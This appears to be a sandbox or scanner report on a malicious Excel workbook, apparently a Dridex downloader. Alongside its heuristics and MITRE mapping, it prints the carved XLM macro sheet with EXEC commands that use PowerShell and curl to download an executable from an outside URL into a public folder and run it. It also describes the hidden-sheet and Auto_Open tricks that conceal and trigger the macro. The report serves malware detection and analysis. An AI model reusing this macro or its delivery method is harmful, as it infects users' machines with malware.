MALICIOUS
270
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1203 Exploitation for Client Execution
The file contains Excel 4.0 macros, specifically using the EXEC function to download a second-stage executable from 'https://bishopberrian.com/22.exe' using PowerShell. The macro then attempts to execute the downloaded file, 'C:\Users\Public\xq.exe', after a 15-second delay. This indicates a downloader functionality, likely for a Dridex variant given the ClamAV signature.
Heuristics 7
-
ClamAV: Xls.Downloader.DridexGreen09213-9890103-0 critical CLAMAV_DETECTIONClamAV detected this file as malware: Xls.Downloader.DridexGreen09213-9890103-0
-
Excel 4.0 macro sheet (1 sheet(s)) critical 2 related findings OOXML_XLM_MACROSHEETSpreadsheet contains an Excel 4.0 (XLM) macro sheet — XLM was a major Office malware vector during 2020-2022 and evaded many VBA-focused controls before Microsoft tightened XLM defaults. Even legitimate XLM use is rare in modern workbooks.
-
Excel 4.0 Auto_Open defined name critical OOXML_XLM_AUTOOPEN_DEFINEDNAMEWorkbook defines _xlnm.Auto_Open or _xlnm.Auto_Close while containing an XLM macro sheet. This is the OOXML/XLSB auto-execution shape for Excel 4.0 macros.
-
Dangerous XLM formula APIs: EXEC critical OOXML_XLM_DANGEROUS_FNExcel 4.0 macro sheet uses formula APIs that call directly into Win32 (=CALL/=EXEC/=REGISTER/=FORMULA). These are the primitives used to download payloads, write files, and start processes from an XLM macro without invoking VBA.
-
Suspicious extracted artifact medium EXTRACTED_FILE_STATIC_TRIAGEOne or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
-
Hidden worksheet (veryHidden) low OOXML_HIDDEN_SHEETExcel workbook contains 1 hidden sheet(s) — hidden sheets are commonly used to conceal macro code, staging data, or intermediate payload construction
-
Embedded URL info EMBEDDED_URLOne or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.URL https://bishopberrian.com/22.exe In document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/spreadsheetml/2006/mainIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/excel/2006/mainIn document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/spreadsheetml/2009/9/acIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/spreadsheetml/2014/revisionIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/spreadsheetml/2015/revision2In document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/spreadsheetml/2016/revision3In document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/spreadsheetml/2016/revision6In document text (OOXML body / shared strings)
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
xlm_sheet_00.xml |
xlm-macrosheet | OOXML XLM macro sheet: xl/macrosheets/intlsheet1.xml | 1982 bytes |
SHA-256: 57bf725b5eb17b3985feb7fa2c6dcba58b7d0e209e6c3415e91a59f311d8c042 |
|||
|
Detection
ClamAV:
No threats found
Obfuscation or payload:
likely
Carved artifact contains 2 shell/COM execution token(s).
|
|||
Preview scriptFirst 1,000 lines of the extracted script
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<xm:macrosheet xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main" xmlns:xm="http://schemas.microsoft.com/office/excel/2006/main" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships" xmlns:mc="http://schemas.openxmlformats.org/markup-compatibility/2006" mc:Ignorable="x14ac xr xr2 xr3 xr6" xmlns:x14ac="http://schemas.microsoft.com/office/spreadsheetml/2009/9/ac" xmlns:xr="http://schemas.microsoft.com/office/spreadsheetml/2014/revision" xmlns:xr2="http://schemas.microsoft.com/office/spreadsheetml/2015/revision2" xmlns:xr3="http://schemas.microsoft.com/office/spreadsheetml/2016/revision3" xmlns:xr6="http://schemas.microsoft.com/office/spreadsheetml/2016/revision6" xr6:uid="{00000000-0001-0000-0000-000000000000}"><dimension ref="E587:K624"/><sheetViews><sheetView showFormulas="1" workbookViewId="0"/></sheetViews><sheetFormatPr defaultRowHeight="12.75" x14ac:dyDescent="0.2"/><cols><col min="1" max="4" width="11.42578125" customWidth="1"/><col min="5" max="5" width="8.85546875" hidden="1" customWidth="1"/><col min="6" max="256" width="11.42578125" customWidth="1"/></cols><sheetData><row r="587" spans="11:11" x14ac:dyDescent="0.2"><c r="K587" s="3"><f>EXEC("cmd /c powershell -c curl.exe -o C:\Users\Public\xq.exe --url https://bishopberrian.com/22.exe")</f><v>0</v></c></row><row r="591" spans="11:11" x14ac:dyDescent="0.2"><c r="K591" s="1"/></row><row r="596" spans="11:11" x14ac:dyDescent="0.2"><c r="K596" s="3"><f>EXEC("cmd /c powershell -c Start-Sleep -s 15;C:\Users\Public\xq.exe")</f><v>0</v></c></row><row r="600" spans="11:11" ht="15" x14ac:dyDescent="0.2"><c r="K600" s="2"/></row><row r="624" spans="11:11" x14ac:dyDescent="0.2"><c r="K624" s="1" t="b"><f>PAUSE()</f><v>1</v></c></row></sheetData><pageMargins left="0.7" right="0.7" top="0.75" bottom="0.75" header="0.3" footer="0.3"/><pageSetup paperSize="9" orientation="portrait" r:id="rId1"/></xm:macrosheet>
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.